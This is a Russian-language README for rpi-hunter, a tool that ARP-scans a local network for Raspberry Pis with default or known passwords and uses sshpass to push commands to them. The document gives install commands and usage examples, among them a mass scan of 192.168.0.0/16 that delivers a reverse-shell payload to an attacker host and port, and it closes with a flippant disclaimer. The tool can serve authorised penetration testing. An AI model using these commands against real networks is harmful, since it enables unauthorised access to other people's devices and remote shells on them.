rpi-hunter

• Автоматизация обнаружения и сброса полезных нагрузок на Raspberry Pi в локальной сети через ssh
• Или, честное название: Автоматизация sshpass для доставки команд.

Rpi-hunter полезен, когда в вашей локальной сети есть несколько Raspberry Pi с учётными данными по умолчанию или известными, чтобы автоматизировать отправку команд/полезных нагрузок на них.

РУКОВОДСТВО:

Установка

1. Установите зависимости: sudo pip install -U argparse termcolor и sudo apt -y install arp-scan tshark sshpass
2. Загрузите rpi-hunter: git clone https://github.com/BusesCanFly/rpi-hunter
3. Перейдите в папку rpi-hunter: cd ./rpi-hunter
4. Сделайте rpi-hunter.py исполняемым: chmod +x rpi-hunter.py

• Однострочный вариант: sudo pip install -U argparse termcolor && sudo apt -y install arp-scan tshark sshpass && git clone https://github.com/BusesCanFly/rpi-hunter && cd ./rpi-hunter && chmod +x rpi-hunter.py

Использование

Посмотрите это классное видео и сопровождающую статью, созданную ребятами из NullByte!

• Примечание: Для новичков: я сделал несколько обновлений rpi-hunter, чтобы исправить баги и добавить новые функции :) Команда ./rpi-hunter.py автоматически просканирует всю вашу локальную сеть и выполнит команду whoami на всех найденных Raspberry Pi

usage: rpi-hunter.py [-h] [--list] [--no-scan] [-r IP_RANGE] [-f IP_LIST]
                     [-c CREDS] [--payload PAYLOAD] [-H HOST] [-P PORT]
                     [--safe] [-q]

optional arguments:
  -h, --help         show this help message and exit
  --list             List available payloads
  --no-scan          Disable ARP scanning
  -r IP_RANGE        IP range to scan
  -f IP_LIST         IP list to use (Default ./scan/RPI_list)
  -u UNAME           Username to use when ssh'ing
  -c CREDS           Password to use when ssh'ing
  --payload PAYLOAD  (Name of, or raw) Payload [ex. reverse_shell or 'whoami']
  -H HOST            (If using reverse_shell payload) Host for reverse shell
  -P PORT            (If using reverse_shell payload) Port for reverse shell
  --safe             Print sshpass command, but don't execute it
  -q                 Don't print banner

• Запустите ./rpi-hunter.py --list, чтобы увидеть доступные полезные нагрузки.

• Полезные нагрузки можно указать по имени из --list или как сырой ввод

  • напр., --payload reverse_shell или --payload [ваша команда в cli]

• Примеры использования:

  • ./rpi-hunter.py -r 192.168.0.0/16 --payload reverse_shell -H 127.0.0.1 -P 1337
    • Примечание: только полезная нагрузка "reverse_shell" требует флагов -H и -P
  • ./rpi-hunter.py -c lamepassword --payload "ls -lah \~"
    • Примечание: не забудьте экранировать специальные символы с помощью \

Отказ от ответственности:

Применяется стандартный отказ от ответственности для интернет-развлечений. Не совершайте преступлений, будьте ответственны.

Я никоим образом не несу ответственности за всё, что вы делаете с помощью rpi-hunter.